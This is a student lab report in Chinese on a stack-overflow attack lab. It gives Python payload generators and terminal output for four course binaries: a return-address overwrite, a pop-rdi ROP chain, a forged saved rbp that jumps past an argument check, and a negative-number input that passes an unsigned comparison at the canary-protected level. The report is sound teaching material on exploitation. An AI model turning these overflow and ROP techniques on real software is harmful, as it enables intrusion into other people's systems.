

栈溢出攻击实验

题目解决思路

Problem 1:

- **分析:** 1.在func函数中(0x401232): 401246: lea -0x8(%rbp),%rax 2.Buffer (8字节) +saved rbp (8字节)=16字节 3.程序将输入复制到了栈上 rbp-0x8 的位置,所以填充的数据长度16 字节,之后跳转到目标函数即可
- **解决方案:**

```
import struct

padding = b"A" * 16
func1_address = b"\x16\x12\x40\x00\x00\x00\x00\x00"

payload = padding + func1_address

with open("ans1.txt", "wb") as f:
    f.write(payload)
```

- **结果:**
 - (base) xyz@DESKTOP-GL89DBI:~/code/attacklab/attack-lab-xyzxyz18\$./problem1 ans1.txt
Do you like ICS?
Yes! I like ICS!

Problem 2:

- **分析:** func2需要0x3f8, 才能成功跳转, 且是第一个参数, 所以要让%rdi中为0x3f8, 可以用pop_rdi
1.Padding: 16字节,覆盖buffer和rbp。 2.跳转到 pop rdi,修改rdi中的值, return 3.跳转到func2, 通过
- **解决方案:**

```

1 import struct
2
3 padding = b"A" * 16
4 # pop_rdi
5 pop_rdi_addr = 0x4012C7
6 arg_val = 0x3F8
7 # func2
8 func2_addr = 0x401216
9
10 # Padding + pop_rdi +参数值+func2
11 rop_chain = struct.pack("<Q", pop_rdi_addr)
12 rop_chain += struct.pack("<Q", arg_val)
13 rop_chain += struct.pack("<Q", func2_addr)
14
15 payload = padding + rop_chain
16
17 with open("ans2.txt", "wb") as f:
18     f.write(payload)
19
•

```

- 结果：

```
(base) xyz@DESKTOP-GL89DBI:~/code/attacklab/attack-lab-xyzxyz18$ ./problem2 ans2.txt
Do you like ICS?
Welcome to the second level!
Yes! I like ICS!
```

Problem 3:

- 分析：** 1.在func函数中：padding为32字节 2.func1 正常调用需要参数 0x72，但缺乏修改 %rdi 函数。所以直接跳转到 func1 检查指令之后的地址 (0x40122b)，跳过 cmp 3.寻找安全的rbp位置，如 0x403800 4.添加返回地址，跳过 cmp
- 解决方案：**

```

1 import struct
2
3 padding = b"A" * 32
4
5 # rbp选一个安全的地址 0x403800
6 fake_rbp_addr = 0x403800
7 fake_rbp = struct.pack("<Q", fake_rbp_addr)
8
9 # 跳过检查
10 func1_bypass_check = 0x40122B
11 ret_addr = struct.pack("<Q", func1_bypass_check)
12
13 # 32字节padding+ 伪造rbp+ 8字节返回地址
14 payload = padding + fake_rbp + ret_addr
15
16 with open("ans3.txt", "wb") as f:
17     f.write(payload)
•

```

- 结果:

```
(base) xyz@DESKTOP-GL89DBI:~/code/attacklab/attack-lab-xyzxyz18$ ./problem3 ans3.txt  
Do you like ICS?  
Now, say your lucky number is 114!  
If you do that, I will give you great scores!  
• Your lucky number is 114
```

Problem 4:

- **分析:** 体现canary的保护机制是什么 开启了栈保护 136c: mov %fs:0x28,%rax (获取随机生成的Canary)
1375: mov %rax,-0x8(%rbp) 在返回前进行比较是否被修改，来验证栈结构是否遭到破坏
- **解决方案:** 因为最后比较是: 无符号数是否 \geq 0xffffffff 所以-1代表的0xffffffff可以成立通过
- **结果:**

```
● (base) xyz@DESKTOP-GL89DBI:~/code/attacklab/attack-lab-xyzxyz18$ ./problem4 ans4.txt  
hi please tell me what is your name?  
asdf  
hi! do you like ics?  
asdf  
if you give me enough yuanshi,I will let you pass!  
-1  
your money is 4294967295  
great!I will give you great scores
```

思考与总结

前三题层层递进，包含了涵盖栈溢出、其他函数工具调用、伪造rbp 简单到难，有工具到自己构造工具，难度曲线合适

最后一题涉及绕过Canary

参考资料

列出在准备报告过程中参考的所有文献、网站或其他资源，确保引用格式正确。